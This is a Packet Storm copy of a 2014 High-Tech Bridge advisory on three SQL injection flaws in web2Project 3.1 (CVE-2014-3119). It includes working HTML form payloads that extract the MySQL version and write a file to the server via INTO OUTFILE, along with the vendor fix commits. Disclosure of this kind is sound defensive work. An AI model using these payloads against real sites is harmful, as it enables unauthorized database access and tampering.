exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

web2Project 3.1 SQL Injection

web2Project 3.1 SQL Injection
Posted Jun 18, 2014
Authored by High-Tech Bridge SA | Site htbridge.com

web2Project version 3.1 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
advisories | CVE-2014-3119
SHA-256 | 6563ec017097f58cee38cd13098192c9c9cc78f8142068a0465b826f646289e2

web2Project 3.1 SQL Injection

Change Mirror Download
Advisory ID: HTB23213
Product: web2Project
Vendor: http://web2project.net
Vulnerable Version(s): 3.1 and probably prior
Tested Version: 3.1
Advisory Publication: April 30, 2014 [without technical details]
Vendor Notification: April 30, 2014
Vendor Patch: May 1, 2014
Public Disclosure: June 18, 2014
Vulnerability Type: SQL Injection [CWE-89]
CVE Reference: CVE-2014-3119
Risk Level: High
CVSSv2 Base Score: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in web2Project, which can be exploited to perform SQL Injection attacks and gain complete access to vulnerable website.


1) SQL Injection in web2Project: CVE-2014-3119


1.1 The vulnerability exists due to insufficient sanitization of the "search_string" HTTP POST parameter passed to "/index.php" script. A remote authenticated user with privileges to access "contacts" module can inject and execute arbitrary SQL commands in application’s database and e.g. create, alter and delete information, or gain unauthorized access to vulnerable website.

The following exploitation example displays version of the MySQL Server:


<form action="http://[host]/index.php?m=contacts" method="post" name="main">
<input type="hidden" name="search_string" value="'and(select 1 from(select count(*),concat((select version() from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and'">
<input type="submit" id="btn">
</form>


1.2 The vulnerability exists due to insufficient sanitization of the "updatekey" HTTP POST parameter passed to "/do_updatecontact.php". This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. A remote unauthenticated attacker can inject and execute arbitrary SQL commands in application’s database and e.g. create, alter and delete information, or gain unauthorized access to vulnerable website.

The following exploitation example writes the word "immuniweb" into file "file.txt", depending on MySQL configuration and filesystem permissions:


<form action="http://[host]/do_updatecontact.php" method="post" name="main">
<input type="hidden" name="updatekey" value="' UNION SELECT 'immuniweb' INTO OUTFILE 'file.txt' -- ">
<input type="submit" id="btn">
</form>


1.3 The vulnerability exists due to insufficient sanitization of the "updatekey" HTTP GET parameter passed to "/updatecontact.php" script. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code. A remote unauthenticated attacker can inject and execute arbitrary SQL commands in application’s database and e.g. create, alter and delete information, or gain unauthorized access to vulnerable website.

The following exploitation example writes the word "immuniweb" info file "file.txt", depending on MySQL configuration and filesystem permissions:


<form action="http://[host]/updatecontact.php" method="get" name="main">
<input type="hidden" name="updatekey" value="' UNION SELECT 'immuniweb' INTO OUTFILE 'file.txt' -- ">
<input type="submit" id="btn">
</form>


Successful exploitation of the vulnerabilities can grant an attacker unrestricted access to the website and its database.

-----------------------------------------------------------------------------------------------

Solution:

Apply vendor fixes:
https://github.com/web2project/web2project/commit/eead99b36f62a8222d9f3a913f1a2268200687ef
https://github.com/web2project/web2project/commit/ab5ba92a6aaf0435cd0b2132cf7f9b7b41575a28

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23213 - https://www.htbridge.com/advisory/HTB23213 - Multiple SQL Injection Vulnerabilities in web2Project.
[2] web2Project - http://web2project.net/ - web2Project is a Free Open Source business-oriented Project Management System (PMS) built for the future.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual web application penetration test and cutting-edge vulnerability scanner available online via a Software-as-a-Service (SaaS) model.

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.
Login or Register to add favorites

File Archive:

December 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    2 Files
  • 2
    Dec 2nd
    0 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close